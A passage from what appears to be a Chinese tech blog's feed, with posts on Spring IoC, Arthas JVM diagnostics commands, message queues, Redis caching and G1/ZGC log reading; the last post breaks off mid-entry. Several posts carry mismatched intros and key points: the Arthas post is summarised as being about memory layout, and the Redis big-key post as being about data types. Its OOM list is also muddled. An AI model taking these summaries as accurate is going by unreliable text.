class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实际收益"><a href="#实际收益" class="headerlink" title="实际收益"></a>实际收益</h2><table><thead><tr><th>方面</th><th>传统方式</th><th>Spring IoC</th></tr></thead><tbody><tr><td>耦合度</td><td>高</td><td>低</td></tr><tr><td>测试难度</td><td>高</td><td>低</td></tr><tr><td>代码量</td><td>少</td><td>略多</td></tr><tr><td>可维护性</td><td>低</td><td>高</td></tr><tr><td>扩展性</td><td>低</td><td>高</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不是技术，而是一种设计思想：</p><ul><li><strong>谁控制</strong>：传统是对象自己控制依赖，IoC 是容器控制</li><li><strong>反转了什么</strong>：依赖获取的控制权反转了</li></ul><p>Spring IoC 容器通过 DI 实现 IoC，解决了：</p><ol><li>对象间的紧耦合</li><li>单元测试困难</li><li>对象生命周期管理复杂</li><li>AOP 等高级特性的基础</li></ol><p>理解 IoC 的本质，有助于写出更松耦合、更易测试、更易维护的代码。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM可视化监控工具Arthas</title>
      <link href="//jvm-ke-shi-hua-jian-kong-gong-ju-arthas/"/>
      <url>//jvm-ke-shi-hua-jian-kong-gong-ju-arthas/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM可视化监控工具Arthas"><a href="#JVM可视化监控工具Arthas" class="headerlink" title="JVM可视化监控工具Arthas"></a>JVM可视化监控工具Arthas</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="安装与启动"><a href="#安装与启动" class="headerlink" title="安装与启动"></a>安装与启动</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 在线安装</span></span><br><span class="line">curl -O https://arthas.aliyun.com/arthas-boot.jar</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动</span></span><br><span class="line">java -jar arthas-boot.jar</span><br><span class="line"></span><br><span class="line"><span class="comment"># 选择要诊断的 Java 进程</span></span><br><span class="line">[INFO] arthas-boot version: 3.x.x</span><br><span class="line">[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.</span><br><span class="line">* [1]: 12345 /app/myapp.jar</span><br><span class="line">  [2]: 67890 org.apache.catalina.startup.Bootstrap</span><br><span class="line">1</span><br></pre></td></tr></table></figure><h2 id="核心命令"><a href="#核心命令" class="headerlink" title="核心命令"></a>核心命令</h2><p>#</p><h2 id="1-dashboard：系统仪表盘"><a href="#1-dashboard：系统仪表盘" class="headerlink" title="1. dashboard：系统仪表盘"></a>1. dashboard：系统仪表盘</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ dashboard</span><br></pre></td></tr></table></figure><p><strong>输出</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ID   NAME                      GROUP    PRIORITY STATE    %CPU  TIME   INTERRUPTED DAEMON</span><br><span class="line">12   AsyncAppender-Worker      main     5        WAITING  0.0   0:0    false       true</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">Memory                    used    total    max     usage    GC</span><br><span class="line">heap                      256M    512M     4096M   6.25%    gc.g1_young_generation.count   100</span><br><span class="line">g1_eden_space             100M    200M     -       50.00%   gc.g1_young_generation.time    500ms</span><br><span class="line">g1_old_gen                150M    300M     4096M   3.66%</span><br><span class="line">g1_survivor_space         6M      12M      -       50.00%</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-thread：线程诊断"><a href="#2-thread：线程诊断" class="headerlink" title="2. thread：线程诊断"></a>2. thread：线程诊断</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看所有线程</span></span><br><span class="line">$ thread</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看最忙的5个线程</span></span><br><span class="line">$ thread -n 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看指定线程</span></span><br><span class="line">$ thread 12</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看死锁</span></span><br><span class="line">$ thread -b</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看线程状态统计</span></span><br><span class="line">$ thread --state</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-trace：方法耗时追踪"><a href="#3-trace：方法耗时追踪" class="headerlink" title="3. trace：方法耗时追踪"></a>3. trace：方法耗时追踪</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 追踪方法的入参和返回值</span></span><br><span class="line">$ trace com.example.Service getOrder <span class="string">&#x27;#cost&gt;100&#x27;</span> -n 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只追踪异常</span></span><br><span class="line">$ trace com.example.Service getOrder <span class="string">&#x27;#cost&gt;100&#x27;</span> --skipJDKMethod <span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 多层追踪</span></span><br><span class="line">$ trace -E com.example.Service|com.example.Dao getOrder</span><br></pre></td></tr></table></figure><p><strong>输出</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">`---ts=2024-06-13 10:00:00;thread_name=http-nio-8080-exec-1;id=12;is_daemon=true;priority=5;TCCL=org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader@1234</span><br><span class="line">    `---[50.234ms] com.example.Service:getOrder()</span><br><span class="line">        +---[5.123ms] com.example.Dao:queryById()</span><br><span class="line">        +---[40.456ms] com.example.Client:fetchRemote() # 这里耗时最长</span><br><span class="line">        `---[4.655ms] com.example.Mapper:insertLog()</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-watch：方法执行数据观测"><a href="#4-watch：方法执行数据观测" class="headerlink" title="4. watch：方法执行数据观测"></a>4. watch：方法执行数据观测</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看方法入参和返回值</span></span><br><span class="line">$ watch com.example.Service getOrder <span class="string">&#x27;&#123;params,returnObj&#125;&#x27;</span> -x 2</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看异常</span></span><br><span class="line">$ watch com.example.Service getOrder <span class="string">&#x27;&#123;params,throwExp&#125;&#x27;</span> -e</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看方法执行前后的对象字段</span></span><br><span class="line">$ watch com.example.User setName <span class="string">&#x27;&#123;target,name,params,returnObj&#125;&#x27;</span> -b -s -x 2</span><br></pre></td></tr></table></figure><p><strong>参数</strong>：</p><ul><li><code>-b</code>：方法执行前</li><li><code>-s</code>：方法执行后</li><li><code>-e</code>：方法异常后</li><li><code>-x 2</code>：展开层级</li></ul><p>#</p><h2 id="5-jad：反编译代码"><a href="#5-jad：反编译代码" class="headerlink" title="5. jad：反编译代码"></a>5. jad：反编译代码</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 反编译类</span></span><br><span class="line">$ jad com.example.Service</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反编译方法</span></span><br><span class="line">$ jad com.example.Service getOrder</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反编译并保存</span></span><br><span class="line">$ jad --source-only com.example.Service &gt; /tmp/Service.java</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-redefine：热更新代码"><a href="#6-redefine：热更新代码" class="headerlink" title="6. redefine：热更新代码"></a>6. redefine：热更新代码</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 修改 Java 文件</span></span><br><span class="line"><span class="comment"># 2. 编译为 class</span></span><br><span class="line">javac /tmp/Service.java</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 热加载</span></span><br><span class="line">$ redefine /tmp/Service.class</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li>不能修改方法签名</li><li>不能添加/删除方法</li><li>不能修改静态字段</li></ul><p>#</p><h2 id="7-heapdump：生成堆-dump"><a href="#7-heapdump：生成堆-dump" class="headerlink" title="7. heapdump：生成堆 dump"></a>7. heapdump：生成堆 dump</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 生成堆 dump</span></span><br><span class="line">$ heapdump /tmp/dump.hprof</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只 dump live 对象</span></span><br><span class="line">$ heapdump --live /tmp/dump.hprof</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-vmtool：强制-GC、获取实例"><a href="#8-vmtool：强制-GC、获取实例" class="headerlink" title="8. vmtool：强制 GC、获取实例"></a>8. vmtool：强制 GC、获取实例</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 强制 GC</span></span><br><span class="line">$ vmtool --action forceGc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取类的所有实例</span></span><br><span class="line">$ vmtool --action getInstances --className com.example.User --<span class="built_in">limit</span> 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行表达式</span></span><br><span class="line">$ vmtool --action getInstances --className java.lang.String \</span><br><span class="line">    --express <span class="string">&#x27;instances.length&#x27;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-tt：方法执行时空隧道"><a href="#9-tt：方法执行时空隧道" class="headerlink" title="9. tt：方法执行时空隧道"></a>9. tt：方法执行时空隧道</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 记录方法调用</span></span><br><span class="line">$ tt -t com.example.Service getOrder</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看记录</span></span><br><span class="line">$ tt -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 重放第1000次调用</span></span><br><span class="line">$ tt -p -i 1000</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看调用入参和返回值</span></span><br><span class="line">$ tt -i 1000 -w <span class="string">&#x27;&#123;params, returnObj&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="10-profiler：生成火焰图"><a href="#10-profiler：生成火焰图" class="headerlink" title="10. profiler：生成火焰图"></a>10. profiler：生成火焰图</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开始采样</span></span><br><span class="line">$ profiler start</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看状态</span></span><br><span class="line">$ profiler status</span><br><span class="line"></span><br><span class="line"><span class="comment"># 停止并生成火焰图</span></span><br><span class="line">$ profiler stop --file /tmp/flamegraph.html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定采样事件</span></span><br><span class="line">$ profiler start --event alloc  <span class="comment"># 内存分配</span></span><br><span class="line">$ profiler start --event lock   <span class="comment"># 锁竞争</span></span><br></pre></td></tr></table></figure><h2 id="实战场景"><a href="#实战场景" class="headerlink" title="实战场景"></a>实战场景</h2><p>#</p><h2 id="场景1：接口响应慢"><a href="#场景1：接口响应慢" class="headerlink" title="场景1：接口响应慢"></a>场景1：接口响应慢</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 找到处理请求的线程</span></span><br><span class="line">$ thread -n 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 追踪方法耗时</span></span><br><span class="line">$ trace com.example.Controller getData <span class="string">&#x27;#cost&gt;1000&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 定位到具体方法后，查看入参</span></span><br><span class="line">$ watch com.example.Dao slowQuery <span class="string">&#x27;&#123;params&#125;&#x27;</span> -x 2</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景2：线上-Bug-修复"><a href="#场景2：线上-Bug-修复" class="headerlink" title="场景2：线上 Bug 修复"></a>场景2：线上 Bug 修复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 反编译确认代码</span></span><br><span class="line">$ jad com.example.Service bugMethod</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 修改本地代码并编译</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 热更新</span></span><br><span class="line">$ redefine /tmp/Service.class</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 验证修复</span></span><br><span class="line">$ trace com.example.Service bugMethod</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景3：内存泄漏排查"><a href="#场景3：内存泄漏排查" class="headerlink" title="场景3：内存泄漏排查"></a>场景3：内存泄漏排查</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 查看内存使用</span></span><br><span class="line">$ dashboard</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 获取可疑类的实例</span></span><br><span class="line">$ vmtool --action getInstances --className com.example.Cache --<span class="built_in">limit</span> 100</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 查看对象引用链</span></span><br><span class="line">$ heapdump /tmp/dump.hprof</span><br><span class="line"><span class="comment"># 用 MAT 分析</span></span><br></pre></td></tr></table></figure><h2 id="在-Spring-Boot-中集成"><a href="#在-Spring-Boot-中集成" class="headerlink" title="在 Spring Boot 中集成"></a>在 Spring Boot 中集成</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.taobao.arthas<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>arthas-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.6.7<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scope</span>&gt;</span>runtime<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">arthas:</span></span><br><span class="line">  <span class="attr">agent-id:</span> <span class="string">myapp</span></span><br><span class="line">  <span class="attr">tunnel-server:</span> <span class="string">ws://127.0.0.1:7777/ws</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>命令</th><th>用途</th></tr></thead><tbody><tr><td>dashboard</td><td>查看系统整体状态</td></tr><tr><td>thread</td><td>线程诊断</td></tr><tr><td>trace</td><td>方法耗时追踪</td></tr><tr><td>watch</td><td>观测方法数据</td></tr><tr><td>jad</td><td>反编译</td></tr><tr><td>redefine</td><td>热更新</td></tr><tr><td>heapdump</td><td>堆内存 dump</td></tr><tr><td>vmtool</td><td>强制 GC、获取实例</td></tr><tr><td>tt</td><td>方法调用记录与重放</td></tr><tr><td>profiler</td><td>火焰图</td></tr></tbody></table><p>Arthas 是 Java 线上诊断的瑞士军刀，掌握它可以大幅提升线上问题排查效率。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列为什么能削峰填谷"><a href="#消息队列为什么能削峰填谷" class="headerlink" title="消息队列为什么能削峰填谷"></a>消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC日志怎么看才有用"><a href="#GC日志怎么看才有用" class="headerlink" title="GC日志怎么看才有用"></a>GC日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="开启-GC-日志"><a href="#开启-GC-日志" class="headerlink" title="开启 GC 日志"></a>开启 GC 日志</h2><p>#</p><h2 id="JDK-8"><a href="#JDK-8" class="headerlink" title="JDK 8"></a>JDK 8</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+PrintGCDetails</span><br><span class="line">-XX:+PrintGCDateStamps</span><br><span class="line">-XX:+PrintGCTimeStamps</span><br><span class="line">-XX:+PrintGCCause</span><br><span class="line">-Xloggc:/var/log/app/gc.log</span><br><span class="line">-XX:+UseGCLogFileRotation</span><br><span class="line">-XX:NumberOfGCLogFiles=10</span><br><span class="line">-XX:GCLogFileSize=10M</span><br></pre></td></tr></table></figure><p>#</p><h2 id="JDK-9"><a href="#JDK-9" class="headerlink" title="JDK 9+"></a>JDK 9+</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-Xlog:gc*:file=/var/log/app/gc.log:<span class="keyword">time</span>,<span class="built_in">uptime</span>,level,tags:filecount=10,filesize=10m</span><br></pre></td></tr></table></figure><h2 id="G1-GC-日志解读"><a href="#G1-GC-日志解读" class="headerlink" title="G1 GC 日志解读"></a>G1 GC 日志解读</h2><p>#</p><h2 id="Young-GC-日志"><a href="#Young-GC-日志" class="headerlink" title="Young GC 日志"></a>Young GC 日志</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[2024-06-12T10:23:45.123+0800] [gc,start     ] GC(123) Pause Young (Normal) (G1 Evacuation Pause)</span><br><span class="line">[2024-06-12T10:23:45.124+0800] [gc,task      ] GC(123) Using 8 workers of 8 for evacuation</span><br><span class="line">[2024-06-12T10:23:45.125+0800] [gc,phases    ] GC(123)   Pre Evacuate Collection Set: 0.1ms</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,phases    ] GC(123)   Evacuate Collection Set: 45.2ms</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,phases    ] GC(123)   Post Evacuate Collection Set: 2.1ms</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Eden regions: 25-&gt;0(30)</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Survivor regions: 3-&gt;5(4)</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Old regions: 45-&gt;45</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Humongous regions: 2-&gt;2</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,metaspace ] GC(123) Metaspace: 45M(50M)-&gt;45M(50M) NonClass: 40M Class: 5M</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc           ] GC(123) Pause Young (Normal) (G1 Evacuation Pause) 150M-&gt;52M(512M) 47.456ms</span><br><span class="line">[2024-06-12T10:23:45.126+0800] [gc,cpu       ] GC(123) User=0.35s Sys=0.02s Real=0.05s</span><br></pre></td></tr></table></figure><p><strong>解读</strong>：</p><table><thead><tr><th>字段</th><th>含义</th></tr></thead><tbody><tr><td>GC(123)</td><td>第123次GC</td></tr><tr><td>Pause Young (Normal)</td><td>Young GC，普通模式</td></tr><tr><td>Eden regions: 25-&gt;0(30)</td><td>Eden区从25个Region变为0个，目标30个</td></tr><tr><td>Survivor regions: 3-&gt;5(4)</td><td>Survivor区从3个变为5个（超过目标4个，下次会调整）</td></tr><tr><td>150M-&gt;52M(512M)</td><td>GC前堆使用150M，GC后52M，堆总量512M</td></tr><tr><td>47.456ms</td><td>GC停顿时间</td></tr><tr><td>User=0.35s</td><td>所有GC线程消耗的用户态CPU时间总和</td></tr><tr><td>Real=0.05s</td><td>实际 wall-clock 时间</td></tr></tbody></table><p>#</p><h2 id="Full-GC-日志"><a href="#Full-GC-日志" class="headerlink" title="Full GC 日志"></a>Full GC 日志</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[2024-06-12T10:24:01.234+0800] [gc,start      ] GC(456) Pause Full (Allocation Failure)</span><br><span class="line">[2024-06-12T10:24:01.234+0800] [gc,phases,start] GC(456) Phase 1: Mark live objects</span><br><span class="line">[2024-06-12T10:24:01.345+0800] [gc,phases      ] GC(456) Phase 1: Mark live objects 111.1ms</span><br><span class="line">[2024-06-12T10:24:01.345+0800] [gc,phases,start] GC(456) Phase 2: Prepare for compaction</span><br><span class="line">[2024-06-12T10:24:01.378+0800] [gc,phases      ] GC(456) Phase 2: Prepare for compaction 32.7ms</span><br><span class="line">[2024-06-12T10:24:01.378+0800] [gc,phases,start] GC(456) Phase 3: Adjust pointers</span><br><span class="line">[2024-06-12T10:24:01.456+0800] [gc,phases      ] GC(456) Phase 3: Adjust pointers 78.3ms</span><br><span class="line">[2024-06-12T10:24:01.456+0800] [gc,phases,start] GC(456) Phase 4: Move objects</span><br><span class="line">[2024-06-12T10:24:01.567+0800] [gc,phases      ] GC(456) Phase 4: Move objects 111.2ms</span><br><span class="line">[2024-06-12T10:24:01.567+0800] [gc             ] GC(456) Pause Full (Allocation Failure) 450M-&gt;120M(512M) 333.456ms</span><br></pre></td></tr></table></figure><p><strong>警示</strong>：Full GC 停顿 333ms，且原因 Allocation Failure，说明堆内存不足或对象晋升过快。</p><h2 id="ZGC-日志解读"><a href="#ZGC-日志解读" class="headerlink" title="ZGC 日志解读"></a>ZGC 日志解读</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[2024-06-12T10:30:00.001+0800] [gc,start] GC(100) Garbage Collection (Proactive)</span><br><span class="line">[2024-06-12T10:30:00.001+0800] [gc,phases] GC(100) Pause Mark Start 0.005ms</span><br><span class="line">[2024-06-12T10:30:00.015+0800] [gc,phases] GC(100) Concurrent Mark 14.234ms</span><br><span class="line">[2024-06-12T10:30:00.015+0800] [gc,phases] GC(100) Pause Mark End 0.003ms</span><br><span class="line">[2024-06-12T10:30:00.016+0800] [gc,phases] GC(100) Concurrent Process Non-Strong References 0.456ms</span><br><span class="line">[2024-06-12T10:30:00.017+0800] [gc,phases] GC(100) Concurrent Reset Relocation Set 0.123ms</span><br><span class="line">[2024-06-12T10:30:00.017+0800] [gc,phases] GC(100) Concurrent Destroy Detached Pages 0.001ms</span><br><span class="line">[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Concurrent Select Relocation Set 0.789ms</span><br><span class="line">[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Concurrent Prepare Relocation Set 